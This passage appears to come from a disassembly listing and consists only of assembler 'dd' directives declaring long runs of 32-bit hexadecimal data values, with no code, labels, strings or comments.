		dd 0D271DD2Dh, 5BB1E63h, 98E90E09h, 2E6FF25Fh, 1F569Ah
		dd 5C08E281h, 4A5C48C5h, 508D4DE8h, 5469EE72h, 67B302D1h
		dd 5122FC2h, 0BAE1CC06h, 33955837h, 0F716E0B8h,	1F56F9D3h
		dd 13535553h, 80BE17C4h, 0D1F8FEBh, 0D8016F3Eh,	7997043Ah
		dd 0D9803141h, 614C6618h, 2708285Eh, 0E40EC606h, 81CA0A58h
		dd 41AF4A7Ch, 8050453Eh, 0A1F32C22h, 166BABE9h,	25F0233h
		dd 0E07505A2h, 2848A836h, 0BF661CDh, 582627C3h,	412F0552h
		dd 0BF1B5D77h, 0E358AAD3h, 0D5740196h, 0D931F3FAh, 42409F31h
		dd 2DD049B3h, 22DF5E01h, 5F295FC3h, 57E05A40h, 2396D678h
		dd 224AEC2Fh, 809F06B6h, 0CB815AEEh, 2A233B7Bh,	0DE16E98Ch
		dd 1571CF7Bh, 2B74A026h, 0CB4D800h, 12FD3113h, 0C96CE5E9h
		dd 6D856F0Fh, 0C85AF7A6h, 954FF286h, 7810E5B6h,	1FE9C55Ah
		dd 64BF47D0h, 688C2E06h, 0B7A1C4Ch, 700F3AAFh, 0CD8350B0h
		dd 652F2CB6h, 0B814967Eh, 0C0BEB386h, 180F1146h, 4A7229E9h
		dd 4D4CAFEh, 47155C97h,	642F7C94h, 0B95159AFh, 377D1A86h
		dd 0D3B0108Bh, 7DE3C12Fh, 1BDE0C32h, 62035A06h,	38159820h
		dd 1214BFF3h, 5C05B54Ch, 169FC31h, 7956D5EDh, 420C8102h
		dd 1B5FB2Fh, 0CD68DA59h, 937F1F04h, 2D1FC51h, 0E54C2F05h
		dd 4D65E86Dh, 29521EDBh, 85039C2h, 3F1ECF58h, 6C04E369h
		dd 5B3E8BCh, 0DDF67DB5h, 377AD7AEh, 98C560D6h, 590BEF28h
		dd 7D60B050h, 720C0D80h, 2EE4A334h, 584AC7E0h, 0EF1373B8h
		dd 0D0EFB03Eh, 0BF2BAE41h, 9333BB60h, 18ED58BCh, 0D8178038h
		dd 0DFC4BE5Eh, 6AE90802h, 0FE947582h, 90A49A27h, 0CDF02143h
		dd 60213D2Ch, 78BAE270h, 7A97FF97h, 0C2E3E90Dh,	0FE5A2CC0h
		dd 0C8283B5Dh, 50519674h, 92985EB7h, 0FCF0D05Eh, 0BFB35EE9h
		dd 0D8101549h, 1F4F2F3Fh, 0E985DEDBh, 0E6FF9DE1h, 58C217D1h
		dd 56EE790Eh, 2E12648Ch, 2DA4B214h, 7CDA9DFh, 69EE0409h
		dd 98F76405h, 54C50B1Ch, 0E3847A95h, 4567A07Bh,	0E7BF5709h
		dd 12D774F1h, 9322EBEDh, 4F8BD760h, 0D4696FD9h,	74A87059h
		dd 50F78080h, 25BEFCAh,	6866392Ch, 2B545ED9h, 2C1B589h
		dd 967957Fh, 0C22265DCh
		dd 33D6B98h, 4E1D1A55h,	0EEC6C0CEh, 62571D96h, 0A386BC0Fh
		dd 18511B64h, 8401E09h,	9B240450h, 5F778FADh, 0EBC5B43Bh
		dd 0D80F250Bh, 826001Fh, 9D604C31h, 9ADC1C09h, 0FE100C2Fh
		dd 71042D1Dh, 1E0159F0h, 0E912557Bh, 4C837ED2h,	0FB4099BAh
		dd 2762B980h, 317C3812h, 0BBD204AFh, 2430FE87h,	9F0A3F68h
		dd 0E7F4206Ch, 0CAB3735Fh, 4CC24825h, 969DEC58h, 0C19D5A3Fh
		dd 0CB8CE968h, 0AC3D300h, 0F74C8B14h, 958DFADBh, 52BA6200h
		dd 1E48857Ch, 83B000E3h, 0D689E17Ah, 0C512DC5Ah, 0A037E860h
		dd 8E439F6Ah, 0BA80E678h, 0B9480F76h, 1249F922h, 0B1A2142Bh
		dd 0F1A4F509h, 2D09C1EAh, 64E2335Ch, 6E82584Bh,	20A86D64h
		dd 0DA639C8Fh, 0C96D145Fh, 5522368h, 9E66920h, 5147E7D1h
		dd 29134F0h, 27D7FE64h,	0EE17DD35h, 514CC0A9h, 0FA7A4812h
		dd 11962B3h, 3B5EC1F7h,	0FB9261B3h, 5C8B65A2h, 0C149E2D2h
		dd 3359243Fh, 0B7156902h, 87DE7517h, 1D03A5A4h,	6043BF76h
		dd 50561016h, 0F2FC1929h, 112597E6h, 7FE4571Ch,	0F1B681Ch
		dd 87B67725h, 714A8F98h, 7402D749h, 0F7736255h,	0C4F39E55h
		dd 0EB8327B9h, 0D8EE5165h, 644EA580h, 0ABED1672h, 464EFF9Fh
		dd 2C86EA01h, 0F229051Bh, 4F30A874h, 1ED6E34Bh,	0DFAFFF66h
		dd 805B24A2h, 0E9C0F441h, 5068F02h, 0D2BF32FEh,	64775A42h
		dd 7CE204ACh, 169F64Ch,	0ECBE3160h, 9AE123Ah, 6329B22Ah
		dd 496D58D5h, 0B85F9B06h, 32E9AC42h, 5C2EB087h,	4A03DD90h
		dd 2817719Dh, 0B6A2543Fh, 208190EFh, 539FA6ABh,	1383AC79h
		dd 0A720AA2Ah, 0B5EE8852h, 2FFCA450h, 84686448h, 5804E591h
		dd 63E6AE87h, 232F849h,	0B05CA09Ch, 0CE814E00h,	7C487A9Ch
		dd 0A6332941h, 0CFD31493h, 467E7620h, 0A081F325h, 85666D1Ch
		dd 0DA40B718h, 5F8291FBh, 0AE964E84h, 0BFFDB617h, 0B14000A5h
		dd 41E9800Ah, 80E06C0h,	7FFE59C8h, 51B90EC0h, 141812B1h
		dd 96F1EB80h, 6AB5F06h,	715A5371h, 7F16EA95h, 0A0CFCA53h
		dd 0A2449AF7h, 58B0907Eh, 0FD3E96Ah, 0D8378050h, 0E59C299Ah
		dd 6766123Fh, 55517330h, 7F9900BDh, 0D4B97976h,	9B1C858Dh
		dd 1C49E929h, 0EF6AA06Fh, 13FD307Ah, 21EE285Bh,	166758Ch
		dd 0C331C9FEh, 5B4A0B6Eh, 0A85DCE75h, 12D788B3h, 44394468h
		dd 0D07DDC2Ah, 0B72C7AACh, 13E90859h, 16B33E68h, 5E1B5F50h
		dd 2701B6FDh, 62E574D4h, 0BAFF5D54h, 0DBD0F5FDh, 4B86D1B7h
		dd 5B31FE76h, 6800C5CBh, 35BE2A59h, 980A8662h, 17A0B5F2h
		dd 263B353h, 6E34F1E3h,	0BB84D5C1h, 8B9327F7h, 0BDA55A27h
		dd 0F971B96h, 946F9E20h, 6D22BF9Bh, 456C080Fh, 0BC692A20h
		dd 0CB780533h, 68AEA07Eh, 30EB745Fh, 0D2573B88h, 0E6E97C0Eh
		dd 9DFF1298h, 71AD7C51h, 0AC51E795h, 4AA510E8h,	0CA6EC5E1h
		dd 2CBC4A28h, 13543B44h, 0E4DCC9E9h, 3B9C40DDh,	0EB80F62Dh
		dd 6885CA5Ch, 7140716Eh, 0F230F8BFh, 3B8044Ah, 0AE2A1252h
		dd 0AA51DEF4h, 72B974E3h, 4CB88BC0h, 0D257B333h, 0BC0D4BB4h
		dd 37B74F5Bh, 0C442152Dh, 0BF84DDFh, 9055F62Fh,	27D8283Ch
		dd 76D9F82Ch, 410768C1h, 24E9B24Ch, 8A268B9Ch, 407170A1h
		dd 3DA202EBh, 6A0BDFBEh, 0C34FC8FDh, 0AA571633h, 40B9FD0Bh
		dd 0F138E908h, 75FF4B5Fh, 46FCAC40h, 35E93C48h,	5E258F8h
		dd 0A93CCD84h, 0D5032F22h, 2F8C2D03h, 0F45DBECAh, 28E98925h
		dd 0DF4BDFF1h, 0E98927C5h, 430BF58Fh, 0C5E72BD4h, 9893E53Bh
		dd 53DF3931h, 25BF6880h, 5EFC8971h, 0E2AB5992h,	5E93A13Eh
		dd 68893EB9h, 7FD40734h, 0CBBC5B53h, 31EB4C82h,	4E7A7B55h
		dd 0C4E01589h, 0FA7499DFh, 0A03EDE71h, 520FEE26h, 5F291C97h
		dd 888C0897h, 1B5EB75Dh, 0F26CD2ADh, 0FA814BB9h, 0DF7DADCh
		dd 53B168F1h, 9A58C675h, 551CF895h, 0F5302C66h,	120858E3h
		dd 0F302BE48h, 0EA1EE915h, 649DD7C6h, 0E0304B4Eh, 0A84A19A9h
		dd 8FA3D7EAh, 0B09854D1h, 65761914h, 7A37EB0h, 2A937DA9h
		dd 84C6C1CCh, 9F06469Fh, 97E91E01h, 6FF8356Eh, 52FBE4D1h
		dd 9F62FB2Bh, 3AB5C1CAh, 49F88A2Bh, 3EF41067h, 84572D27h
		dd 61EE5FBEh, 6CA41F68h, 0D951898Eh, 0F0E9C3E2h, 97B9A34Ah
		dd 1625E9A0h, 0D65F71AAh, 0BD9D461Bh, 16AFBF01h, 0FA293809h
		dd 5100A602h, 0E81999B9h, 81410731h, 0EF7E38F1h, 1876A294h
		dd 1849952Fh, 9A320796h, 0F5CB1631h, 32B58EE4h,	0EAD85FC8h
		dd 0D8E6165Eh, 0FA525913h, 0BA5A57CAh, 0EEBDC965h, 5AEF68C2h
		dd 0AC4E69FAh, 1385B20h, 0A05D4B64h, 173B4B28h,	6DCF0269h
		dd 6125E033h, 0EC6EE373h, 500EE2D9h, 575F3BADh,	971A79A7h
		dd 1D70AC1h, 2021F301h,	0F6F5A42Ah, 2FDC9700h, 32A7059Dh
		dd 0FC745A16h, 0E0DB2F85h, 2DE2BBDDh, 4C03522h,	11004F61h
		dd 5AD3313Ch, 4814B43h,	923A65F3h, 0B383C07Bh, 26600679h
		dd 0AFDE2F0Ch, 0DDC097F9h, 68005250h, 2A715445h, 9D84E95Ah
		dd 5B5529C2h, 51AA88B0h, 0C309F526h, 0B9D6D919h, 0EFBFCC33h
		dd 74ED1BD0h, 0AD92D5F6h, 580B11BCh, 1B76862h, 7542D3Ah
		dd 0FBF2ABF7h, 52B01626h, 0DC29BF07h, 0BDE10020h, 0F15AF1FEh
		dd 0F2D61794h, 9DF5D2E6h, 9FAFECE7h, 62262596h,	595CFC02h
		dd 7B172AD3h, 0BAC5DBB3h, 8F88B8A0h, 15462455h,	308689EDh
		dd 29D25ACh, 5CBD7472h,	16BC530h, 5C32E4Bh, 501524F5h
		dd 0C281A494h, 68075CB6h, 0E914603Ah, 0ABA96A0Dh, 89CC3E89h
		dd 0EF7C5374h, 50C02D78h, 1C171F98h, 0C110FB9Dh, 6A2C8B5Bh
		dd 68214C7Dh, 11699A65h, 137CFA80h, 9A12352Dh, 50008F52h
		dd 4718F5EAh, 73E9167Fh, 0B4D36054h, 5B60FE09h,	0ED2133ECh
		dd 54B83Eh, 34C5799Fh, 0A40E946h, 4442A7B1h, 53C199C2h
		dd 347D8C32h, 0AB1ADB67h, 3CC544E8h, 410A8D50h,	8234C157h
		dd 55EF08Bh, 386D8201h,	20F1D290h, 801F8BBBh, 1289B9C3h
		dd 0CC4EF16Dh, 651445B6h, 27EF2628h, 0FC18687Fh, 0F962A7Bh
		dd 0E9480932h, 187C9F16h, 5FD9E9F8h, 0EC9DDD4Bh, 71B53D0Ah
		dd 0CC96BCF3h, 0CAE0AC4Fh, 509FB4F1h, 0E661A289h, 960220C0h
		dd 9356483Fh, 9FED89A3h, 3C7301D2h, 706CDB49h, 5881AA22h
		dd 0D429F52Bh, 4A5B131Fh, 7F4099F8h, 4A7C72F8h,	0CD14BF53h
		dd 526B1048h, 0A790681Ch, 0F2091D46h, 740EEF50h, 0FCED8658h
		dd 0E92A14F1h, 0C5F6CE5Ch, 48802E09h, 25E3F841h, 0E9C5D801h
		dd 9F20179Eh, 0C20433FAh, 5B0B41E6h, 1D80AE0Fh,	0EC685529h
		dd 0C483215Ch, 2FAC43E9h, 0B9F5592Eh, 76EC4283h, 80BC579Ah
		dd 0B34362ACh, 35583014h, 33E91606h, 0D49C84FEh, 3B64AE0Dh
		dd 9D5AE4B6h, 78EFFDA5h, 385A33EBh, 51EB8B22h, 3EF0C922h
		dd 0B9122827h, 751E01E2h, 0DEE9D931h, 84EC2D84h, 3C49374Ch
		dd 0A718657Dh, 0D508A1D1h, 0FBC58713h, 0EE384414h, 0E084D50h
		dd 1C271BE9h, 0E253792Dh, 1F4A11E9h, 58858C5Dh,	0BECAC2Dh
		dd 679349C0h, 85778903h, 181EE77Eh, 7A89E828h, 80BC9430h
		dd 3E57E682h, 0F5186556h, 36E90DE2h, 0FF69AC9Ah, 52C0A080h
		dd 24A21496h, 0E05BCE31h, 0EA2551EEh, 6A2D164Bh, 0D4E2BC2Fh
		dd 4E2F8487h, 31300113h, 0EC2BDB03h, 0A7B7A434h, 2F786C11h
		dd 80DEF384h, 31CCDEAh,	0C631540Bh, 9FA95758h, 0E9E5C0DFh
		dd 69C29FDAh, 7DEB9ED6h, 4B8053BEh, 0E091A460h,	9E9D0909h
		dd 4947BF3Ah, 544E688Bh, 850988A7h, 0C528E125h,	8B1D981h
		dd 7ED3C180h, 70805684h
		dd 9688E95Bh, 0D1210EB7h, 0AA9B9FE4h, 27591E3Ch, 4E55A7E9h
		dd 949C0Eh, 1CA27FBCh, 800248B9h, 0B8E9E35Dh, 8801749Eh
		dd 0BF018C62h, 29EC2ABDh, 27E6BD20h, 40507C5Dh,	0C4E60279h
		dd 0C7991B13h, 0E909A8A2h, 8AFC91EAh, 75F821E2h, 0FAA5BBD1h
		dd 964E22B2h, 6010CC22h, 0FDBAAD39h, 787FBD44h,	0D6384A27h
		dd 0F04EE5C1h, 31345AB9h, 8F537ACFh, 0D825B0B8h, 0BFCDF224h
		dd 0C127CCF3h, 50D72242h, 4A83B097h, 84C8FEC8h,	806BB91Ch
		dd 33D32F29h, 3A6BF0E9h, 7C1A0E85h, 63D22092h, 3F21D051h
		dd 0E348FD21h, 5293373Dh, 0F88BC63h, 2449791Ch,	2CFE6A95h
		dd 0CB5DAB57h, 0E8E08440h, 18C09DECh, 5673FE08h, 0A06C3196h
		dd 622D16CAh, 0C18AE007h, 0F706E91Dh, 0D7D46CB2h, 0FE16A653h
		dd 516C5665h, 8C6C4A05h, 57121944h, 25AB0376h, 92F2AB75h
		dd 0A97C86C4h, 6918804Ah, 0F351C0Dh, 6057730Fh,	7F04AED3h
		dd 0C3405EA0h, 0D754CD12h, 0AC28BDBCh, 5265C72Dh, 690C0BA5h
		dd 110008A5h, 634B3D92h, 0F50724B0h, 0E160656h,	42B7CD67h
		dd 0DDF77FC1h, 3EB78D40h, 0AC744880h, 8EE54A55h, 0B5C7F7E4h
		dd 3032A9F0h, 78BE8AC2h, 7659DF2h, 84C30189h, 0BE123033h
		dd 0A05C81DCh, 2513EDF7h, 8B561EA9h, 1CC108A0h,	7A977867h
		dd 0BBD5647Eh, 0BC8538FCh, 0B662EB4Bh, 5CFCC997h, 3010A16Ah
		dd 0E7647BE7h, 87EB5B14h, 33950C63h, 37987795h,	7A95BD68h
		dd 1F5A202Ah, 0CB305564h, 13F1D6F4h, 0AC020964h, 0BB430090h
		dd 0E931C6EBh, 82FD975Dh, 0DF500BC1h, 32C7DDA1h, 21F5D534h
		dd 8ABDF87Fh, 0FAB1BE92h, 392EC826h, 0EAF888E3h, 2C88F435h
		dd 50A402E4h, 4EC10DC5h, 62C47B62h, 1C6FB6BEh, 7FA72F05h
		dd 3C4ED544h, 5CB840FCh, 6D60CEC1h, 1020404Ah, 0B24402C1h
		dd 8ECDE92Eh, 0F7AF62F4h, 2F88E16h, 9D63E69Fh, 0EBB0905Fh
		dd 0CEFEB54Ah, 256114E3h, 65D4C78Bh, 0F6F65B92h, 0CE81E825h
		dd 6C533B68h, 76F1C687h, 1C52255h, 59A5748h, 12B01C2Ch
		dd 351D00FBh, 434D7944h, 3ED88B8h, 5D82F431h, 7E29D7DEh
		dd 25548682h, 6DE4BF00h, 0C23E5B29h, 0D7604FEFh, 0AE066250h
		dd 1BCCE9B8h, 20537737h, 849F85A8h, 9BB8CA52h, 0A10DA84Bh
		dd 0E37660F9h, 8816E94Ah, 0FF2D0D84h, 5DC62B03h, 18087BC2h
		dd 640C0176h, 0E4C558C3h, 42C76895h, 0A4B77922h, 98FBAF91h
		dd 6C002ACEh, 0F681203Eh, 974750F8h, 6804305Eh,	0CEBE7A2Fh
		dd 60BA008Ch, 52569C2Eh, 31559F58h, 7FF0E561h, 85F9D0Ch
		dd 0A290824h, 4EAE5A25h, 0BDB880A8h, 0E85021DEh, 0BB694ABFh
		dd 4818FDDh, 0F6AED687h, 0C277B36h, 0AF205903h,	424940D4h
		dd 0E7EF41E2h, 0D3124915h, 0FC97E250h, 0C63A50BDh, 9A011DDDh
		dd 0BDCB1CC5h, 2F984E60h, 6FC0317Dh, 2D015DE8h,	502E46FCh
		dd 197CE0D3h, 6D90E9C2h, 274E40Bh, 0FF88F281h, 1462B9A3h
		dd 3B5E3849h, 0CD628ABh, 0CB7AD480h, 10F5EA8Bh,	0A88A4CA7h
		dd 0A612E4DFh, 0AEB001C9h, 5EE9CE2Ch, 0D322AF96h, 0C1F9AC95h
		dd 0C2617168h, 0A4F865FDh, 3F300D22h, 1CEF3BC1h, 33C5A61Fh
		dd 68C6D90Ch, 135AD459h, 31FA4429h, 3B34A126h, 709FA209h
		dd 0AD65B766h, 8009FCA1h, 9F82C490h, 90811E55h,	1A860935h
		dd 0F9801594h, 0D890E50h, 1340455Dh, 1FF8C9C0h,	0C2E234E7h
		dd 6D52990Ch, 4E395E0Bh, 304D67Dh, 68575347h, 38A416E0h
		dd 0CF3A28B8h, 137FF0B8h, 0C064E973h, 1FF4F3Ch,	9CC1A3FEh
		dd 0FE847B3Ah, 0B434A8EFh, 680B7BA2h, 59F91A8Eh, 5E39208Bh
		dd 7AA859ECh, 56AD6E05h, 110064C7h, 7F890A7Bh, 721B2DDEh
		dd 534A6756h, 0E58468A7h, 0C1FFC068h, 1E27013Fh, 6870CC1h
		dd 130549Ah, 0A1320F3Bh, 90A8E973h, 166FBB00h, 2DC10DE2h
		dd 3D6002E3h, 662D0373h, 3820FCF0h, 0B4FE83BFh,	0EC5D1654h
		dd 0A3EAC9AAh, 92F788A4h, 507060C6h, 0CB3B48B0h, 0DC05D655h
		dd 862058BBh, 0F5017559h, 56012D3Bh, 4930F1E2h,	0FE91C186h
		dd 85035F15h, 107D9288h, 6587B91Dh, 986CF66h, 3FE91294h
		dd 970E97Fh, 485A6848h,	0B73B4D67h, 8D9CB336h, 0FDBD448Bh
		dd 963E80E5h, 0DDBA9576h, 650DF1CBh, 0EC16A2Dh,	69AC8369h
		dd 12541680h, 4FF0083h,	8088B951h, 0CF31D5A0h, 534F594Ah
		dd 1022A0F5h, 5B3F6874h, 4D903213h, 47BD0F70h, 765C2F69h
		dd 765F8972h, 685360ABh, 0D99703FCh, 0B2BB4048h, 3A5B635Bh
		dd 0E229850Bh, 0E90B01E4h, 4462CC19h, 0EA2DB5D0h, 0C02FD067h
		dd 11C7D40h, 56BF741Bh,	0AD9BDB48h, 4DFCC5Ch, 6F7087E7h
		dd 0A29F804Eh, 6B24377Dh, 0A43B2A57h, 0BB426B52h, 39F1D7B9h
		dd 687E572h, 4046D0E9h,	0A7EBD13Bh, 88C1E0D9h, 0B456FCC5h
		dd 5C091685h, 2004C2A7h, 3876BF1Ah, 0F6E2A7BAh,	51D772B4h
		dd 0A9E9C1D7h, 945472F1h, 522684CAh, 0C943ECAAh, 0AB4F544h
		dd 2C050247h, 0BB486830h, 9B835637h, 0FEED1276h, 7335FFD8h
		dd 3D864BBDh, 0CD0099D7h, 1EB31BB2h, 0FD07EDC1h, 0A63E5AE9h
		dd 57292F2Eh, 78953B23h, 85A5177Ah, 9EB9E984h, 56C14EBFh
		dd 0F15EAE79h, 0F2026A7Bh, 540FD568h, 548ED8C3h, 37EBF7C0h
		dd 7C010903h, 666E2555h, 0D5C24DDCh, 8667FF79h,	517EF2Ch
		dd 611013F6h, 17B25875h, 62E8E756h, 25C0E997h, 931B762Dh
		dd 69F90E55h, 0E927C601h, 5BDE2C94h, 4A7A35A8h,	9F23FCB1h
		dd 0DDB657CBh, 584A66C6h, 0B73ECEB1h, 2CE913A8h, 6DAF8A53h
		dd 4A6B2889h, 0CD7E80A6h, 0E15829EDh, 0F6586489h, 4B6FD258h
		dd 67BBBF84h, 54885870h, 0EC581345h, 0E5C10FF6h, 0B00F5207h
		dd 0AA4FF041h, 0E8CB24C2h, 0FE6813Dh, 2B1B3931h, 1DD8D26Bh
		dd 655B542Eh, 904A8DE2h, 2D2AB162h, 3760F73h, 0A95AE49h
		dd 9339B480h, 0AEE9C6F5h, 8FB5510Ah, 0CB6227EEh, 81359DC8h
		dd 526F04E0h, 8772E6EEh, 0D0C70195h, 0D133E502h, 78DAAFE7h
		dd 0C794B7A8h, 0DA9F0EB0h, 82E92C29h, 0DAB58CFFh, 2824EE82h
		dd 0DB5B60E8h, 2C34B0D8h, 0BF54F4E5h, 6850C0FEh, 93D9E8Fh
		dd 0DA2A01E9h, 917B2DD1h, 0E9DB30E9h, 3809628h,	55B664B4h
		dd 6C2D8184h, 0A1556F82h, 0AA991718h, 2A18D18Ah, 4F5F287Eh
		dd 0A1575128h, 8EAF4C4Bh, 63444E2Eh, 0B100D8CFh, 0F6C9FEA1h
		dd 78B484BDh, 0BE565500h, 9E06790Ch, 0AEE8109h,	0B1E9250Dh
		dd 44BEEF05h, 13267C61h, 0E3009113h, 7F325A8Ch,	6165B04Dh
		dd 61E90F8Fh, 0D2DE6956h, 58BAC60Ah, 5CAB64CFh,	73F144EFh
		dd 485E00C0h, 1761CF35h, 0ED0103E2h, 0BFF093ADh, 44F60481h
		dd 0C4394B59h, 0F294AA1Ch, 57C1D109h, 23987244h, 0C56F8A41h
		dd 0C6140226h, 80DF867Ch, 7114EF43h, 0AA0CC102h, 2C2BDD7Eh
		dd 8A3724Eh, 41140C42h,	0E9998520h, 5DF8AB77h, 183ACAC0h
		dd 0D0B75CF4h, 0F87B0698h, 3EE2D114h, 0AD848C01h, 300FE937h
		dd 906FFF49h, 0E7077DCEh, 3E49387Fh, 0CFBA00E3h, 0BB2B6F3Dh
		dd 81191F33h, 0F8E5C908h, 0A9D5AE6h, 0D3023AF6h, 75358C55h
		dd 44ACF64h, 51AE09EAh,	0ABF5382Bh, 4710D479h, 0B2551B7Dh
		dd 53295D22h, 43851B02h, 94CADFA0h, 0A5A8D650h,	0DE0B5508h
		dd 2159E96Fh, 0AEEB80D6h, 0C401F23Bh, 0AC040B5h, 92CCE996h
		dd 9326E712h, 8304AF5Bh, 0C01FF9A7h, 37626850h,	0AAF80A90h
		dd 0B845CB40h, 875E4801h, 0E7DF23Bh, 0F013806h,	276E0BA5h
		dd 0E072EE64h, 0F997892Eh, 0BCE9C1CBh, 45BC2A6Ah, 0FA07FE84h
		dd 4A89B3CCh, 68F8C813h
		dd 65AA665Dh, 45AABF78h, 0D7AE4D82h, 8763C299h,	0E9485B03h
		dd 0A7240B6Dh, 7550022Bh, 7ECE8136h, 7B150A41h,	436A0804h
		dd 0ECF29DAAh, 0E697F6CEh, 26FA9F90h, 5D4AD198h, 677F06C0h
		dd 9E0906Bh, 0F41053DEh, 57748B77h, 0E904F665h,	0AEC8E553h
		dd 0F409253Eh, 8B7D2A50h, 59658D2Dh, 6BC63201h,	5FFD9BC8h
		dd 20A96816h, 138334BDh, 0EEEDB17Ch, 9ECFE5E0h,	4E4B3B21h
		dd 0BD0996FFh, 42952A82h, 756890A0h, 9998742Eh,	0C479FCB7h
		dd 0C9F0EF2Dh, 0C02FE05h, 0D80167EBh, 651683ECh, 56017079h
		dd 6884C0Fh, 6AB5F882h,	0FF411B7Eh, 0F5DF8753h,	2AB701Fh
		dd 5A306E7h, 0D174BB58h, 0B6449F8Eh, 60BB0953h,	1D781734h
		dd 0D637B10Bh, 508C7538h, 6D168D12h, 0ABF31F65h, 77F5E90Ch
		dd 5560520Ah, 12253FF8h, 0C0F702BAh, 7FE9EDDAh,	402FD974h
		dd 26901B3Ah, 850D8B01h, 573DD0Ah, 942DE9E0h, 0B5ADAB92h
		dd 4A687174h, 5F6DC87Dh, 0C3F14165h, 257BCEF9h,	0B8C68738h
		dd 578A62B5h, 3D750D10h, 25746307h, 42702E8Eh, 0E209FD0Dh
		dd 1BE984Bh, 164F77F8h,	6A8DF6E9h, 3CE2E241h, 56073B3h
		dd 0AA599DAEh, 0DCC15065h, 47008C80h, 0DCB0DFF7h, 0EC6F30A1h
		dd 29132B07h, 0F70C5FFAh, 1E55B12h, 63B0413Eh, 2E5C7E68h
		dd 0E8A38133h, 0C74A6CCFh, 40DFB268h, 5AD52198h, 0DD217F97h
		dd 0D8DCDD2Ah, 6B4F8AE9h, 0CE55A3D1h, 5EEC0641h, 0FB64522Bh
		dd 0A23F6A00h, 12D72F6h, 3085B01h, 4205E829h, 0A6F2E907h
		dd 0B7945F95h, 58FA4A1h, 81A430AFh, 4B38BCF1h, 0EF04F67Fh
		dd 4838601Ch, 0A98B83FFh, 0D778E8EDh, 0C812CCEAh, 0DC8CE913h
		dd 0D320FBA3h, 6B3500B0h, 61AF6E40h, 29D444D9h,	5F9390DDh
		dd 4FE9C5B4h, 2D48822Eh, 564A5DFh, 4F6E54BFh, 0EC645000h
		dd 0C14D454Ah, 38081B8h, 93A008EDh, 422FA8A0h, 0A2ED587Bh
		dd 3CFADC4Ah, 0DD67BB5Fh, 6802C030h, 320BB58Ch,	5972707Eh
		dd 0DB51E9C3h, 6C291208h, 5080ABFAh, 0E7D05888h, 0E20F625h
		dd 144E57A3h, 5439DC95h, 0CDEDE918h, 0BD0E2C3Ah, 52E81A78h
		dd 0C0BEB603h, 0B96603E6h, 0F27A44FEh, 1AF4C5CDh, 35C0B020h
		dd 0C0065B9Dh, 0F1372A30h, 653E2D04h, 0C4AA7630h, 0E90704F0h
		dd 2912FBA2h, 6DB76DBAh, 0F129CF7Ch, 0AB3F6F12h, 96FEE535h
		dd 51BFE6BAh, 0C58C132Ch, 0E361BE7Fh, 0AA2A5B17h, 0B9303429h
		dd 78162D92h, 47F76C6Ah, 6A18087Dh, 0E7585E0Eh,	0DF79419Eh
		dd 2E214A53h, 6E10F3ACh, 0A4295F12h, 5BF80588h,	0B800B79Ch
		dd 224B3B0Bh, 2C3AFE2Dh, 891168Ah, 0BF016502h, 40FC345Fh
		dd 16AB1A30h, 0EC491125h, 1A8B5F9Bh, 5915CE04h,	77A5C048h
		dd 3FE301C4h, 0B6E9AD80h, 0A2DBB10Eh, 2752906Dh, 3068598Eh
		dd 6F28120Bh, 1409CB4Bh, 573E1003h, 0CF292D80h,	7CC3F987h
		dd 0CA9EB7C1h, 8DC25D24h, 0B110256h, 1D8DB802h,	7E550199h
		dd 0F3CD3DA2h, 59C77779h, 29167E52h, 0F77761F0h, 249D8h
		dd 863D78CEh, 95745E60h, 182C9647h, 429209E9h, 312CE068h
		dd 0B239B7E8h, 61DA6532h, 680160A9h, 2485C45Fh,	0A1BC5B4Fh
		dd 0C3ABB585h, 0ED9923BFh, 6B4AF560h, 76B96200h, 9710292Fh
		dd 0A0B9137Fh, 9896E898h, 0CBD34D76h, 0AE4B6A48h, 1CC0A014h
		dd 4126C15h, 7C31D08Dh,	88DC1D60h, 0CF0405F0h, 2D7EBB72h
		dd 13153BEh, 4D4382AFh,	2DE82E13h, 0F158C72Dh, 4A98F397h
		dd 9332AD57h, 0AF56A732h, 6706F00h, 0B956822h, 59DDF98Fh
		dd 0F12021F6h, 183F611Ch, 6D1E15FCh, 0F5AC3D80h, 0ECF65A67h
		dd 0E9F5EFA0h, 0B87BF9F1h, 0D1D2A778h, 1DD65551h, 5039F25Bh
		dd 575E3B95h, 0AF5B8997h, 4A95E7CCh, 0FDC15D02h, 0EF4F8538h
		dd 0B9F9F829h, 5E7E0538h, 7E4CB677h, 0C9A94279h, 0F74D30F1h
		dd 0EF207FB0h, 845F50F3h, 0A0312A3h, 60A4EA09h,	0AA37169Dh
		dd 0D19D4F3Ah, 0D0F71698h, 16E9B01h, 44DCE9EEh,	12BACA3Eh
		dd 998C10F0h, 0B7854062h, 80FED24Bh, 301BF11Bh,	4E27CE7Fh
		dd 0ECD3128Bh, 964C5D40h, 0A5CBBF4Bh, 7FC0292Fh, 1812FE05h
		dd 0D056E8Fh, 0C53C93BEh, 0F3AF4E5Eh, 77D41740h, 9F7CA4D6h
		dd 4CF443EAh, 0DD192F54h, 66C66618h, 4A5D5280h,	8516EE89h
		dd 5AB219ECh, 55965D7h,	0AA79BFE9h, 529F48B2h, 0DB5DBA46h
		dd 7C421193h, 0DA02ED83h, 0E312BF66h, 0B8E8DE84h, 90E68A4Ch
		dd 77028FA4h, 8E289572h, 7C0E03F6h, 0BCCDE02Ch,	3B262E17h
		dd 50D7028Dh, 486339EAh, 5BE3B01h, 4E0A9012h, 0C61EA639h
		dd 1E300C3Fh, 8B980512h, 0DAE68774h, 80978376h,	374A5803h
		dd 17C79A0Bh, 0F37B7168h, 20EA0BA4h, 95EA60C7h,	7908E418h
		dd 831B9829h, 72F41308h, 35CBBBB6h, 68B0E14Ch, 33A82FDEh
		dd 1C5AE2E9h, 255FABD0h, 5042BD63h, 201FAB57h, 14932D55h
		dd 290C0A52h, 1D0705C8h, 5CDED7E9h, 67A7259Ah, 0E864C6EFh
		dd 0E05725FBh, 0B9BA5765h, 0B85EFD7Fh, 7D254AC0h, 38E60116h
		dd 42980D40h, 0ECB5D7F8h, 6D169262h, 0FA9984ABh, 0B86A2EF5h
		dd 272558A8h, 0E467AFCh, 630B97B9h, 88460252h, 25F5639h
		dd 0FE3BBAB6h, 807D7A2Bh, 7E0768AFh, 0D80D5B32h, 7695919Ah
		dd 1A552FC3h, 457E79DAh, 8BA3EF58h, 8862B117h, 0FAA05D39h
		dd 0F3A23CF4h, 782A00F7h, 95A54D5Bh, 0EB4F6DF4h, 3932FF75h
		dd 6B880CFCh, 8DBE0190h, 204DBF6Dh, 3D16C12Ch, 70EC2729h
